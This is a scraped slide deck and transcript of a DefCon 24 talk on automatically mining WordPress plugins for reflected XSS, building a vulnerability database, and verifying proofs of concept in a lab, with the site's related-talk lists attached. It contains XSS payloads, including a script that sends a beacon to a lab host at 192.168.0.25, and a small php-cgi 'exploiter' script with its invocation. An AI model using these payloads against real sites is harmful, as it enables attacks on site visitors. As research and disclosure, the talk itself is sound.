How to discover 1352 Wordpress plugin 0days in one hour (not really)

Larry Cashdollar
Larry CashdollarAkamai Technologies, Inc.
How to Discover 1352
Wordpress Plugin XSS 0days in
one hour
(Not Really)
v1.9
Larry W. Cashdollar
DefCon 24
Speakers Workshop
Who Am I
• Humble Vulnerability Researcher
• 100+ CVEs
• Former Unix Systems Administrator
• ​Penetration Tester Back in Late 90s
• Enjoy Writing Code
• Member of Akamai Security Incident Response Team (SIRT)
• ​Penetration Tester Back in Late
Assumptions
• You know what Wordpress is
• You know what a Wordpress plugin is
• You know what XSS is
• You’re not prone to violence when disappointed…
Why XSS?
• Kept seeing echo $_GET|POST|REQUEST[‘var’] in code
• I thought these were a sure thing*
• Curiosity about vulnerability discovery automation
• Figured I could auto generate PoCs on the fly
* We will explore later where I fu*ked up
Plugin Collection
• Download all 50,000 or so
• Scrape http://plugins.svn.wordpress.org with wget?
Problems
• Wordpress blocked my IP….for 8 months or so
• Get lots of cruft, plugins that had been removed
• We want metadata too!
Plugin Collection v2.0
• Use list of plugins from plugins.svn.wordpress.org as index
• Scrape plugin page http://wordpress.org/plugins/$plugin
• Pipe this all through Proxychains
• Took five days to finish, downloaded 42,478 plugins
XSS mining
• Hack up an old perl script
• look for echo $_GET[‘ or echo $_POST[‘ or echo $_REQUEST[‘
• Try to find variations like $_GET[“ or $_GET[s’ etc..
• Grab line number, & vulnerable code
• Auto generate exploit & title
• Collect vulnerable variables
Auto Generating an XSS PoC
• $_GET and $_REQUEST only
• Create a basic Generic exploit for testing
• var=”><script>alert(1);</script><”
• Where to store all of this?
• I’ve got 900 vulns with 900 untested PoCs…
Building the Database
• create database wpvulndb;
• What columns?
• Store title, plugin name, file, vulnerable code, PoC, date
• Collect metadata & populate more fields in database like version,
author, downloads, download link
• Probably should notify folks at Wordpress and some vulnerability
database folks I know for advice?
• Ran the scripts for $_POST[‘
In Over my head
• I need an adult
• Should notify some smart people of what I’ve done
• plugins@wordpress.org
• Jericho Attrition.org
• Mitre just in case
• Scott Moore -> IBM XForce
• Ryan Dewhurst -> wpvulndb
• Friends at Akamai
• Solar Designer -> oss-security list
Notifications
• Thought I had 1352 legit XSS
• Exported database to various parties
• Had skype call with a group of security researchers from the
University of Stuttgart!
• I was starting to become one of the cool kidz*
*Before it all blows up in my face
Massaging the Data
• Created custom .csv files for anyone who asked
• Sent .sql database + php code to wordpress + friends at German
university
• Worked with Jericho to fix mangled entries etc..
• Took suggestions on what data to store and..
Added moar columns!
• CVE/DWF ID
• Figured I’d notify Mitre and self assign my own DWF IDs
• Type
• Is this via GET or POST or REQUEST
• Nonce
• Does the plugin use nonce?
• Auto_verify
• Boolean - part of the auto exploit stuff I’ll get into
• Filename with out full path
• Just to make things easier
• Vendor contact_date
• Initial plan was to automate notifications…
Validate PoC or Go Home
• I really want to verify what I have with working exploits
• Idea on how to test this automatically
• Would be so cool to have working verified PoC with each vulnerability
entry
Auto Exploit v1.0
• Try to send our auto generated payloads (GET/REQUEST) to 900+
vulnerable plugins
• Setup cgi-bin environment
• exec vulnerable code and inject our javascript payload
• New Payload will be:
"><script>new%20Image().src='http://192.168.0.25/e.php?i=741';</script><”
• e.php just sets auto_verify to 1 for vdbid $num in database
Auto Exploit: Execute php and render html
• Setup environment variables
• GATEWAY_INTERFACE=CGI/1.1
• PATH_TRANSLATED=vulnerable php filename
• QUERY_STRING=payload
• REDIRECT_STATUS=CGI
• REQUEST_METHOD=GET
Auto Exploit – render to html
#!/bin/sh
CWD=`pwd`
PHPCGI=`which php-cgi`
echo "#################################################################################"
echo "# F4st-cgi exploiter v1.5 #"
echo "#################################################################################"
echo "[+] Setting Full path :$1"
echo "[+] Script file name :$2"
echo "[+] Query string :$3"
echo "[+] Changing working directory to $1"
cd $1
export GATEWAY_INTERFACE=CGI/1.1
export PATH_TRANSLATED=$2
export QUERY_STRING=$3
export REDIRECT_STATUS=CGI
export REQUEST_METHOD=GET
echo -n "[+] exec $PHPCGI"
echo -n " "
echo "$2"
php-cgi $2
cd $CWD
Two Step Process
Generate .html
For loop for all type=GET or type=REQUEST
$ ./f4st-cgi-exploiter.sh /usr/share/wordpress/ 1255-evr_pdf_out.php "id="><script>new%20Image().src='http://192.168.0.25/e.php?i=1255';</script><"" > files/$id.html
Render .html and exec JavaScript
Tool to use: PhantomJS
PhantomJS
• http://phantomjs.org/
• Full web stack no browser required
• Will execute our Javascript payload
• Generates .html and .png as would be rendered in browser
Scandir.js read .html files from a directory and execute javascript.
files/ has all of our .html files from php5-cgi run
$ phantomjs scandir.js files/
# tail -f /var/log/apache2/access.log
PhantomJS Results
• Looking at file sizes we can tease out interesting results
Results
• 38 exploits fire and set auto_verify = 1 in database
The bad
• I was hoping for another digit in that number
• 38/900=4% success rate #derp
The good
• It worked!
Proves or Disproves:
If successful JS execution
• Code in PoC is escaping tags properly.
• Execution doesn’t require authentication.
• Code isn’t just defined in a class we can’t reach.
• Injection point truly isn’t sanitized.
If unsuccessful JS execution
• Injection point might be sanitized.
• Code might require authentication - admin etc.
• PoC isn’t escaping tags properly.
• Code is part of a class and not easily reachable.
Where I Fu*ked up
• Didn’t have Wordpress in the path*
• Should have notified everyone later on in my research
• Didn’t have entire plugin copied **
• Include or require of other plugin files would fail
• php5-cgi doesn’t set headers
e.g header(‘Content-Type:text/css’); <- not rendered by browser
* Found out Wordpress escapes $_GET $_POST $_REQUEST
** this provided me with some false negatives! 
Wordpress Escaping GET/POST/REQUEST
• browser/trunk/wp-includes/load.php Line 522
523 * Add magic quotes to $_GET, $_POST, $_COOKIE,
and $_SERVER.
.
.
540 $_GET = add_magic_quotes( $_GET );
541 $_POST = add_magic_quotes( $_POST );
541 $_COOKIE = add_magic_quotes( $_COOKIE );
542 $_SERVER = add_magic_quotes( $_SERVER );
• https://wordpress.org/support/topic/wp-automatically-escaping-get-and-post-etc-globals
• https://core.trac.wordpress.org/browser/trunk/wp-includes/load.php?rev=18827#L522
Total Verified with honoring headers
• 27 Auto XSS’d
• 3 manually validated that needed some tweaking to
the payload
• False positives too, stuff like:
$_GET['ID'] = (int) $_GET['ID'];
echo $_GET[‘ID’];
Cool kid status
Dang it
What I learned
• Test your stuff end to end!
• Full server stack for any testing
• Research any odd results that aren’t making sense
• The Wordpress escaping GPCS super globals made any XSS in plugin
files loading WP context dependent
• Escapes ’ “ /
Context Dependent XSS
<?php
include ‘wp-load.php’;
.
.
echo “Search Results For:”;
echo $_GET[‘s’];
We can still use
• s=<script>alert(1);</script>
Context Dependent XSS
Code:
<?php
include ‘wp-load.php’;
.
<a id="wysija-upload-browse;" href2="admin.php?page=campaign&action=medias&emailId=<?php echo
$_GET['id']>">Browse</a>
?>
Payload:
http://192.168.0.33/test.php?id=%22%3Cscript%3Ealert(1);%3C/script%3E%22
Result:
<a id="upload-browse" class="button”
href2="admin.php?page=campaigns&action=medias&tab=&emailId="<script>alert(1);</script>"">Upload
</a>"
• Wordpress escapes our quotation marks
Vetting XSS
• I’d need to manually review all 1322 entries
• Not enough time
• dreaming about XSS == stop
What’s Next
• I’m kind of done with WP Plugin XSS
• Some XSS entries might be valid, need testing
• Maybe try looking at fopen(), SQL, unserialize(), passthru(), eval()?
• Other CMSs?
• Joomla does not escape super globals…
• Drupal extensions https://ftp.drupal.org/files/projects/
Researcher Picks Up the Ball
• @BruteLogic uses my technique to find vulnerabilities in open source
PHP applications
• http://brutelogic.com.br/blog/looking-xss-php-source/
• Wrote a script in bash checking for various XSS
• Downloaded lots of open source PHP code
Vulnerabilities in my Database Showing up
• Posted to full disclosure on July 19th by Summer of Pwnage @sumofpwn
• Vulnerability ID 419 in my database
• https://sumofpwn.nl/advisory/2016/cross_site_scripting_in_contact_form_to_e
mail_wordpress_plugin.html
Thank You
• Everyone here for listening to me ramble
• Brian Martin
• Scott Moore
• Ryan Duhurst
• Mika @ wordpress.org
• Solar Designer
I’m sorry
• Everyone here for listening to me ramble
• Brian Martin
• Scott Moore
• Ryan Duhurst
• Mika @ wordpress.org
• Solar Designer
Questions?
• larry0@me.com or larry@akamai.com
• @_larry0
• http://www.vapidlabs.com
• Greetings to @vladz,@indoushka,@squirrelbudda,
@dotmudge,@brutelogic,@sumofpwn,@gattaca,
@d1rt_diggler,@E1337za and Akamai SIRT
1 of 37

Recommended

Hacking Wordpress Plugins by
Hacking Wordpress PluginsHacking Wordpress Plugins
Hacking Wordpress PluginsLarry Cashdollar
2.3K views31 slides
Hacker's Practice Ground - Wall of Sheep workshops - Defcon 2015 by
Hacker's Practice Ground - Wall of Sheep workshops - Defcon 2015 Hacker's Practice Ground - Wall of Sheep workshops - Defcon 2015
Hacker's Practice Ground - Wall of Sheep workshops - Defcon 2015 lokeshpidawekar
1.9K views28 slides
How to discover 1352 Wordpress plugin 0days in one hour (not really) by
How to discover 1352 Wordpress plugin 0days in one hour (not really)How to discover 1352 Wordpress plugin 0days in one hour (not really)
How to discover 1352 Wordpress plugin 0days in one hour (not really)Larry Cashdollar
1.8K views35 slides
Fun with exploits old and new by
Fun with exploits old and newFun with exploits old and new
Fun with exploits old and newLarry Cashdollar
432 views31 slides
Mining Ruby Gem vulnerabilities for Fun and No Profit. by
Mining Ruby Gem vulnerabilities for Fun and No Profit.Mining Ruby Gem vulnerabilities for Fun and No Profit.
Mining Ruby Gem vulnerabilities for Fun and No Profit.Larry Cashdollar
438 views28 slides
I See You by
I See YouI See You
I See YouAndrew Beard
1.5K views37 slides

More Related Content

What's hot

hackcon2013-Dirty Little Secrets They Didn't Teach You In Pentesting Class v2 by
hackcon2013-Dirty Little Secrets They Didn't Teach You In Pentesting Class v2hackcon2013-Dirty Little Secrets They Didn't Teach You In Pentesting Class v2
hackcon2013-Dirty Little Secrets They Didn't Teach You In Pentesting Class v2Chris Gates
7.6K views121 slides
SANS DFIR Prague: PowerShell & WMI by
SANS DFIR Prague: PowerShell & WMISANS DFIR Prague: PowerShell & WMI
SANS DFIR Prague: PowerShell & WMIJoe Slowik
1.5K views39 slides
Entomology 101 by
Entomology 101Entomology 101
Entomology 101snyff
1K views26 slides
Invoke-Obfuscation nullcon 2017 by
Invoke-Obfuscation nullcon 2017Invoke-Obfuscation nullcon 2017
Invoke-Obfuscation nullcon 2017Daniel Bohannon
6.8K views220 slides
Windows Attacks AT is the new black by
Windows Attacks   AT is the new blackWindows Attacks   AT is the new black
Windows Attacks AT is the new blackRob Fuller
19.5K views78 slides
Invoke-CradleCrafter: Moar PowerShell obFUsk8tion & Detection (@('Tech','niqu... by
Invoke-CradleCrafter: Moar PowerShell obFUsk8tion & Detection (@('Tech','niqu...Invoke-CradleCrafter: Moar PowerShell obFUsk8tion & Detection (@('Tech','niqu...
Invoke-CradleCrafter: Moar PowerShell obFUsk8tion & Detection (@('Tech','niqu...Daniel Bohannon
3.4K views129 slides

What's hot(20)

hackcon2013-Dirty Little Secrets They Didn't Teach You In Pentesting Class v2 by Chris Gates
hackcon2013-Dirty Little Secrets They Didn't Teach You In Pentesting Class v2hackcon2013-Dirty Little Secrets They Didn't Teach You In Pentesting Class v2
hackcon2013-Dirty Little Secrets They Didn't Teach You In Pentesting Class v2
Chris Gates7.6K views
SANS DFIR Prague: PowerShell & WMI by Joe Slowik
SANS DFIR Prague: PowerShell & WMISANS DFIR Prague: PowerShell & WMI
SANS DFIR Prague: PowerShell & WMI
Joe Slowik1.5K views
Entomology 101 by snyff
Entomology 101Entomology 101
Entomology 101
snyff1K views
Invoke-Obfuscation nullcon 2017 by Daniel Bohannon
Invoke-Obfuscation nullcon 2017Invoke-Obfuscation nullcon 2017
Invoke-Obfuscation nullcon 2017
Daniel Bohannon6.8K views
Windows Attacks AT is the new black by Rob Fuller
Windows Attacks   AT is the new blackWindows Attacks   AT is the new black
Windows Attacks AT is the new black
Rob Fuller19.5K views
Invoke-CradleCrafter: Moar PowerShell obFUsk8tion & Detection (@('Tech','niqu... by Daniel Bohannon
Invoke-CradleCrafter: Moar PowerShell obFUsk8tion & Detection (@('Tech','niqu...Invoke-CradleCrafter: Moar PowerShell obFUsk8tion & Detection (@('Tech','niqu...
Invoke-CradleCrafter: Moar PowerShell obFUsk8tion & Detection (@('Tech','niqu...
Daniel Bohannon3.4K views
[CB16] Invoke-Obfuscation: PowerShell obFUsk8tion Techniques & How To (Try To... by CODE BLUE
[CB16] Invoke-Obfuscation: PowerShell obFUsk8tion Techniques & How To (Try To...[CB16] Invoke-Obfuscation: PowerShell obFUsk8tion Techniques & How To (Try To...
[CB16] Invoke-Obfuscation: PowerShell obFUsk8tion Techniques & How To (Try To...
CODE BLUE1.7K views
DevOops & How I hacked you DevopsDays DC June 2015 by Chris Gates
DevOops & How I hacked you DevopsDays DC June 2015DevOops & How I hacked you DevopsDays DC June 2015
DevOops & How I hacked you DevopsDays DC June 2015
Chris Gates3.2K views
Getting root with benign app store apps by Csaba Fitzl
Getting root with benign app store appsGetting root with benign app store apps
Getting root with benign app store apps
Csaba Fitzl1.2K views
Adventures in Asymmetric Warfare by Will Schroeder
Adventures in Asymmetric WarfareAdventures in Asymmetric Warfare
Adventures in Asymmetric Warfare
Will Schroeder2.8K views
Ruxmon feb 2013 what happened to rails by snyff
Ruxmon feb 2013   what happened to railsRuxmon feb 2013   what happened to rails
Ruxmon feb 2013 what happened to rails
snyff944 views
Obfuscating The Empire by Ryan Cobb
Obfuscating The EmpireObfuscating The Empire
Obfuscating The Empire
Ryan Cobb5.5K views
Catch Me If You Can: PowerShell Red vs Blue by Will Schroeder
Catch Me If You Can: PowerShell Red vs BlueCatch Me If You Can: PowerShell Red vs Blue
Catch Me If You Can: PowerShell Red vs Blue
Will Schroeder7.8K views
Invoke-Obfuscation DerbyCon 2016 by Daniel Bohannon
Invoke-Obfuscation DerbyCon 2016Invoke-Obfuscation DerbyCon 2016
Invoke-Obfuscation DerbyCon 2016
Daniel Bohannon7.1K views
Offensive Python for Pentesting by Mike Felch
Offensive Python for PentestingOffensive Python for Pentesting
Offensive Python for Pentesting
Mike Felch1.1K views
Windows attacks - AT is the new black by Chris Gates
Windows attacks - AT is the new blackWindows attacks - AT is the new black
Windows attacks - AT is the new black
Chris Gates10.9K views
Getting root with benign app store apps vsecurityfest by Csaba Fitzl
Getting root with benign app store apps vsecurityfestGetting root with benign app store apps vsecurityfest
Getting root with benign app store apps vsecurityfest
Csaba Fitzl459 views
Building an Empire with PowerShell by Will Schroeder
Building an Empire with PowerShellBuilding an Empire with PowerShell
Building an Empire with PowerShell
Will Schroeder22.3K views

Similar to How to discover 1352 Wordpress plugin 0days in one hour (not really)

Hacking sites for fun and profit by
Hacking sites for fun and profitHacking sites for fun and profit
Hacking sites for fun and profitDavid Stockton
4.5K views69 slides
The moment my site got hacked by
The moment my site got hackedThe moment my site got hacked
The moment my site got hackedMarko Heijnen
2.1K views45 slides
Hacking sites for fun and profit by
Hacking sites for fun and profitHacking sites for fun and profit
Hacking sites for fun and profitDavid Stockton
867 views69 slides
Securing your web apps now by
Securing your web apps nowSecuring your web apps now
Securing your web apps nowStephan Steynfaardt
831 views50 slides
Testing mit Codeception: Full-stack testing PHP framework by
Testing mit Codeception: Full-stack testing PHP frameworkTesting mit Codeception: Full-stack testing PHP framework
Testing mit Codeception: Full-stack testing PHP frameworkSusannSgorzaly
1.5K views59 slides
My tryst with sourcecode review by
My tryst with sourcecode reviewMy tryst with sourcecode review
My tryst with sourcecode reviewAnant Shrivastava
2.6K views51 slides

Similar to How to discover 1352 Wordpress plugin 0days in one hour (not really)(20)

Hacking sites for fun and profit by David Stockton
Hacking sites for fun and profitHacking sites for fun and profit
Hacking sites for fun and profit
David Stockton4.5K views
The moment my site got hacked by Marko Heijnen
The moment my site got hackedThe moment my site got hacked
The moment my site got hacked
Marko Heijnen2.1K views
Hacking sites for fun and profit by David Stockton
Hacking sites for fun and profitHacking sites for fun and profit
Hacking sites for fun and profit
David Stockton867 views
Testing mit Codeception: Full-stack testing PHP framework by SusannSgorzaly
Testing mit Codeception: Full-stack testing PHP frameworkTesting mit Codeception: Full-stack testing PHP framework
Testing mit Codeception: Full-stack testing PHP framework
SusannSgorzaly1.5K views
[HES2013] Virtually secure, analysis to remote root 0day on an industry leadi... by Hackito Ergo Sum
[HES2013] Virtually secure, analysis to remote root 0day on an industry leadi...[HES2013] Virtually secure, analysis to remote root 0day on an industry leadi...
[HES2013] Virtually secure, analysis to remote root 0day on an industry leadi...
Hackito Ergo Sum471 views
Fix me if you can - DrupalCon prague by hernanibf
Fix me if you can - DrupalCon pragueFix me if you can - DrupalCon prague
Fix me if you can - DrupalCon prague
hernanibf2.8K views
WordPress Security and Best Practices by Robert Vidal
WordPress Security and Best PracticesWordPress Security and Best Practices
WordPress Security and Best Practices
Robert Vidal1.1K views
Blog World 2010 - How to Keep Your Blog from Being Hacked by Brian Layman
Blog World 2010 - How to Keep Your Blog from Being HackedBlog World 2010 - How to Keep Your Blog from Being Hacked
Blog World 2010 - How to Keep Your Blog from Being Hacked
Brian Layman923 views
Dirty Little Secrets They Didn't Teach You In Pentest Class v2 by Chris Gates
Dirty Little Secrets They Didn't Teach You In Pentest Class v2Dirty Little Secrets They Didn't Teach You In Pentest Class v2
Dirty Little Secrets They Didn't Teach You In Pentest Class v2
Chris Gates2.7K views
Protect Your Payloads: Modern Keying Techniques by Leo Loobeek
Protect Your Payloads: Modern Keying TechniquesProtect Your Payloads: Modern Keying Techniques
Protect Your Payloads: Modern Keying Techniques
Leo Loobeek1.4K views
Columbus WordCamp 2015 by Jason Packer
Columbus WordCamp 2015Columbus WordCamp 2015
Columbus WordCamp 2015
Jason Packer501 views
H4CK1N6 - Web Application Security by Oliver Hader
H4CK1N6 - Web Application SecurityH4CK1N6 - Web Application Security
H4CK1N6 - Web Application Security
Oliver Hader2.1K views
[Hackersuli][HUN]MacOS - Going Down the Rabbit Hole by hackersuli
[Hackersuli][HUN]MacOS - Going Down the Rabbit Hole[Hackersuli][HUN]MacOS - Going Down the Rabbit Hole
[Hackersuli][HUN]MacOS - Going Down the Rabbit Hole
hackersuli62 views
ITB_2023_25_Most_Dangerous_Software_Weaknesses_Pete_Freitag.pdf by Ortus Solutions, Corp
ITB_2023_25_Most_Dangerous_Software_Weaknesses_Pete_Freitag.pdfITB_2023_25_Most_Dangerous_Software_Weaknesses_Pete_Freitag.pdf
ITB_2023_25_Most_Dangerous_Software_Weaknesses_Pete_Freitag.pdf
Owning computers without shell access 2 by Royce Davis
Owning computers without shell access 2Owning computers without shell access 2
Owning computers without shell access 2
Royce Davis2.4K views
External JavaScript Widget Development Best Practices (updated) (v.1.1) by Volkan Özçelik
External JavaScript Widget Development Best Practices (updated) (v.1.1) External JavaScript Widget Development Best Practices (updated) (v.1.1)
External JavaScript Widget Development Best Practices (updated) (v.1.1)
Volkan Özçelik4.3K views

Recently uploaded

DSD-INT 2023 Thermobaricity in 3D DCSM-FM - taking pressure into account in t... by
DSD-INT 2023 Thermobaricity in 3D DCSM-FM - taking pressure into account in t...DSD-INT 2023 Thermobaricity in 3D DCSM-FM - taking pressure into account in t...
DSD-INT 2023 Thermobaricity in 3D DCSM-FM - taking pressure into account in t...Deltares
9 views26 slides
Agile 101 by
Agile 101Agile 101
Agile 101John Valentino
7 views20 slides
Unmasking the Dark Art of Vectored Exception Handling: Bypassing XDR and EDR ... by
Unmasking the Dark Art of Vectored Exception Handling: Bypassing XDR and EDR ...Unmasking the Dark Art of Vectored Exception Handling: Bypassing XDR and EDR ...
Unmasking the Dark Art of Vectored Exception Handling: Bypassing XDR and EDR ...Donato Onofri
795 views34 slides
SAP FOR TYRE INDUSTRY.pdf by
SAP FOR TYRE INDUSTRY.pdfSAP FOR TYRE INDUSTRY.pdf
SAP FOR TYRE INDUSTRY.pdfVirendra Rai, PMP
24 views3 slides
Unleash The Monkeys by
Unleash The MonkeysUnleash The Monkeys
Unleash The MonkeysJacob Duijzer
7 views28 slides
Dev-HRE-Ops - Addressing the _Last Mile DevOps Challenge_ in Highly Regulated... by
Dev-HRE-Ops - Addressing the _Last Mile DevOps Challenge_ in Highly Regulated...Dev-HRE-Ops - Addressing the _Last Mile DevOps Challenge_ in Highly Regulated...
Dev-HRE-Ops - Addressing the _Last Mile DevOps Challenge_ in Highly Regulated...TomHalpin9
5 views29 slides

Recently uploaded(20)

DSD-INT 2023 Thermobaricity in 3D DCSM-FM - taking pressure into account in t... by Deltares
DSD-INT 2023 Thermobaricity in 3D DCSM-FM - taking pressure into account in t...DSD-INT 2023 Thermobaricity in 3D DCSM-FM - taking pressure into account in t...
DSD-INT 2023 Thermobaricity in 3D DCSM-FM - taking pressure into account in t...
Deltares9 views
Unmasking the Dark Art of Vectored Exception Handling: Bypassing XDR and EDR ... by Donato Onofri
Unmasking the Dark Art of Vectored Exception Handling: Bypassing XDR and EDR ...Unmasking the Dark Art of Vectored Exception Handling: Bypassing XDR and EDR ...
Unmasking the Dark Art of Vectored Exception Handling: Bypassing XDR and EDR ...
Donato Onofri795 views
Dev-HRE-Ops - Addressing the _Last Mile DevOps Challenge_ in Highly Regulated... by TomHalpin9
Dev-HRE-Ops - Addressing the _Last Mile DevOps Challenge_ in Highly Regulated...Dev-HRE-Ops - Addressing the _Last Mile DevOps Challenge_ in Highly Regulated...
Dev-HRE-Ops - Addressing the _Last Mile DevOps Challenge_ in Highly Regulated...
TomHalpin95 views
AI and Ml presentation .pptx by FayazAli87
AI and Ml presentation .pptxAI and Ml presentation .pptx
AI and Ml presentation .pptx
FayazAli8711 views
DSD-INT 2023 Leveraging the results of a 3D hydrodynamic model to improve the... by Deltares
DSD-INT 2023 Leveraging the results of a 3D hydrodynamic model to improve the...DSD-INT 2023 Leveraging the results of a 3D hydrodynamic model to improve the...
DSD-INT 2023 Leveraging the results of a 3D hydrodynamic model to improve the...
Deltares6 views
SUGCON ANZ Presentation V2.1 Final.pptx by Jack Spektor
SUGCON ANZ Presentation V2.1 Final.pptxSUGCON ANZ Presentation V2.1 Final.pptx
SUGCON ANZ Presentation V2.1 Final.pptx
Jack Spektor22 views
Headless JS UG Presentation.pptx by Jack Spektor
Headless JS UG Presentation.pptxHeadless JS UG Presentation.pptx
Headless JS UG Presentation.pptx
Jack Spektor7 views
DSD-INT 2023 Wave-Current Interaction at Montrose Tidal Inlet System and Its ... by Deltares
DSD-INT 2023 Wave-Current Interaction at Montrose Tidal Inlet System and Its ...DSD-INT 2023 Wave-Current Interaction at Montrose Tidal Inlet System and Its ...
DSD-INT 2023 Wave-Current Interaction at Montrose Tidal Inlet System and Its ...
Deltares10 views
DSD-INT 2023 Delft3D FM Suite 2024.01 1D2D - Beta testing programme - Geertsema by Deltares
DSD-INT 2023 Delft3D FM Suite 2024.01 1D2D - Beta testing programme - GeertsemaDSD-INT 2023 Delft3D FM Suite 2024.01 1D2D - Beta testing programme - Geertsema
DSD-INT 2023 Delft3D FM Suite 2024.01 1D2D - Beta testing programme - Geertsema
Deltares17 views
Fleet Management Software in India by Fleetable
Fleet Management Software in India Fleet Management Software in India
Fleet Management Software in India
Fleetable11 views
DSD-INT 2023 Delft3D FM Suite 2024.01 2D3D - New features + Improvements - Ge... by Deltares
DSD-INT 2023 Delft3D FM Suite 2024.01 2D3D - New features + Improvements - Ge...DSD-INT 2023 Delft3D FM Suite 2024.01 2D3D - New features + Improvements - Ge...
DSD-INT 2023 Delft3D FM Suite 2024.01 2D3D - New features + Improvements - Ge...
Deltares17 views
DSD-INT 2023 Exploring flash flood hazard reduction in arid regions using a h... by Deltares
DSD-INT 2023 Exploring flash flood hazard reduction in arid regions using a h...DSD-INT 2023 Exploring flash flood hazard reduction in arid regions using a h...
DSD-INT 2023 Exploring flash flood hazard reduction in arid regions using a h...
Deltares5 views
360 graden fabriek by info33492
360 graden fabriek360 graden fabriek
360 graden fabriek
info3349237 views

How to discover 1352 Wordpress plugin 0days in one hour (not really)

  • 1. How to Discover 1352 Wordpress Plugin XSS 0days in one hour (Not Really) v1.9 Larry W. Cashdollar DefCon 24 Speakers Workshop
  • 2. Who Am I • Humble Vulnerability Researcher • 100+ CVEs • Former Unix Systems Administrator • ​Penetration Tester Back in Late 90s • Enjoy Writing Code • Member of Akamai Security Incident Response Team (SIRT) • ​Penetration Tester Back in Late
  • 3. Assumptions • You know what Wordpress is • You know what a Wordpress plugin is • You know what XSS is • You’re not prone to violence when disappointed…
  • 4. Why XSS? • Kept seeing echo $_GET|POST|REQUEST[‘var’] in code • I thought these were a sure thing* • Curiosity about vulnerability discovery automation • Figured I could auto generate PoCs on the fly * We will explore later where I fu*ked up
  • 5. Plugin Collection • Download all 50,000 or so • Scrape http://plugins.svn.wordpress.org with wget? Problems • Wordpress blocked my IP….for 8 months or so • Get lots of cruft, plugins that had been removed • We want metadata too!
  • 6. Plugin Collection v2.0 • Use list of plugins from plugins.svn.wordpress.org as index • Scrape plugin page http://wordpress.org/plugins/$plugin • Pipe this all through Proxychains • Took five days to finish, downloaded 42,478 plugins
  • 7. XSS mining • Hack up an old perl script • look for echo $_GET[‘ or echo $_POST[‘ or echo $_REQUEST[‘ • Try to find variations like $_GET[“ or $_GET[s’ etc.. • Grab line number, & vulnerable code • Auto generate exploit & title • Collect vulnerable variables
  • 8. Auto Generating an XSS PoC • $_GET and $_REQUEST only • Create a basic Generic exploit for testing • var=”><script>alert(1);</script><” • Where to store all of this? • I’ve got 900 vulns with 900 untested PoCs…
  • 9. Building the Database • create database wpvulndb; • What columns? • Store title, plugin name, file, vulnerable code, PoC, date • Collect metadata & populate more fields in database like version, author, downloads, download link • Probably should notify folks at Wordpress and some vulnerability database folks I know for advice? • Ran the scripts for $_POST[‘
  • 10. In Over my head • I need an adult • Should notify some smart people of what I’ve done • plugins@wordpress.org • Jericho Attrition.org • Mitre just in case • Scott Moore -> IBM XForce • Ryan Dewhurst -> wpvulndb • Friends at Akamai • Solar Designer -> oss-security list
  • 11. Notifications • Thought I had 1352 legit XSS • Exported database to various parties • Had skype call with a group of security researchers from the University of Stuttgart! • I was starting to become one of the cool kidz* *Before it all blows up in my face
  • 12. Massaging the Data • Created custom .csv files for anyone who asked • Sent .sql database + php code to wordpress + friends at German university • Worked with Jericho to fix mangled entries etc.. • Took suggestions on what data to store and..
  • 13. Added moar columns! • CVE/DWF ID • Figured I’d notify Mitre and self assign my own DWF IDs • Type • Is this via GET or POST or REQUEST • Nonce • Does the plugin use nonce? • Auto_verify • Boolean - part of the auto exploit stuff I’ll get into • Filename with out full path • Just to make things easier • Vendor contact_date • Initial plan was to automate notifications…
  • 14. Validate PoC or Go Home • I really want to verify what I have with working exploits • Idea on how to test this automatically • Would be so cool to have working verified PoC with each vulnerability entry
  • 15. Auto Exploit v1.0 • Try to send our auto generated payloads (GET/REQUEST) to 900+ vulnerable plugins • Setup cgi-bin environment • exec vulnerable code and inject our javascript payload • New Payload will be: "><script>new%20Image().src='http://192.168.0.25/e.php?i=741';</script><” • e.php just sets auto_verify to 1 for vdbid $num in database
  • 16. Auto Exploit: Execute php and render html • Setup environment variables • GATEWAY_INTERFACE=CGI/1.1 • PATH_TRANSLATED=vulnerable php filename • QUERY_STRING=payload • REDIRECT_STATUS=CGI • REQUEST_METHOD=GET
  • 17. Auto Exploit – render to html #!/bin/sh CWD=`pwd` PHPCGI=`which php-cgi` echo "#################################################################################" echo "# F4st-cgi exploiter v1.5 #" echo "#################################################################################" echo "[+] Setting Full path :$1" echo "[+] Script file name :$2" echo "[+] Query string :$3" echo "[+] Changing working directory to $1" cd $1 export GATEWAY_INTERFACE=CGI/1.1 export PATH_TRANSLATED=$2 export QUERY_STRING=$3 export REDIRECT_STATUS=CGI export REQUEST_METHOD=GET echo -n "[+] exec $PHPCGI" echo -n " " echo "$2" php-cgi $2 cd $CWD
  • 18. Two Step Process Generate .html For loop for all type=GET or type=REQUEST $ ./f4st-cgi-exploiter.sh /usr/share/wordpress/ 1255-evr_pdf_out.php "id="><script>new%20Image().src='http://192.168.0.25/e.php?i=1255';</script><"" > files/$id.html Render .html and exec JavaScript Tool to use: PhantomJS
  • 19. PhantomJS • http://phantomjs.org/ • Full web stack no browser required • Will execute our Javascript payload • Generates .html and .png as would be rendered in browser Scandir.js read .html files from a directory and execute javascript. files/ has all of our .html files from php5-cgi run $ phantomjs scandir.js files/
  • 20. # tail -f /var/log/apache2/access.log
  • 21. PhantomJS Results • Looking at file sizes we can tease out interesting results
  • 22. Results • 38 exploits fire and set auto_verify = 1 in database The bad • I was hoping for another digit in that number • 38/900=4% success rate #derp The good • It worked!
  • 23. Proves or Disproves: If successful JS execution • Code in PoC is escaping tags properly. • Execution doesn’t require authentication. • Code isn’t just defined in a class we can’t reach. • Injection point truly isn’t sanitized. If unsuccessful JS execution • Injection point might be sanitized. • Code might require authentication - admin etc. • PoC isn’t escaping tags properly. • Code is part of a class and not easily reachable.
  • 24. Where I Fu*ked up • Didn’t have Wordpress in the path* • Should have notified everyone later on in my research • Didn’t have entire plugin copied ** • Include or require of other plugin files would fail • php5-cgi doesn’t set headers e.g header(‘Content-Type:text/css’); <- not rendered by browser * Found out Wordpress escapes $_GET $_POST $_REQUEST ** this provided me with some false negatives! 
  • 25. Wordpress Escaping GET/POST/REQUEST • browser/trunk/wp-includes/load.php Line 522 523 * Add magic quotes to $_GET, $_POST, $_COOKIE, and $_SERVER. . . 540 $_GET = add_magic_quotes( $_GET ); 541 $_POST = add_magic_quotes( $_POST ); 541 $_COOKIE = add_magic_quotes( $_COOKIE ); 542 $_SERVER = add_magic_quotes( $_SERVER ); • https://wordpress.org/support/topic/wp-automatically-escaping-get-and-post-etc-globals • https://core.trac.wordpress.org/browser/trunk/wp-includes/load.php?rev=18827#L522
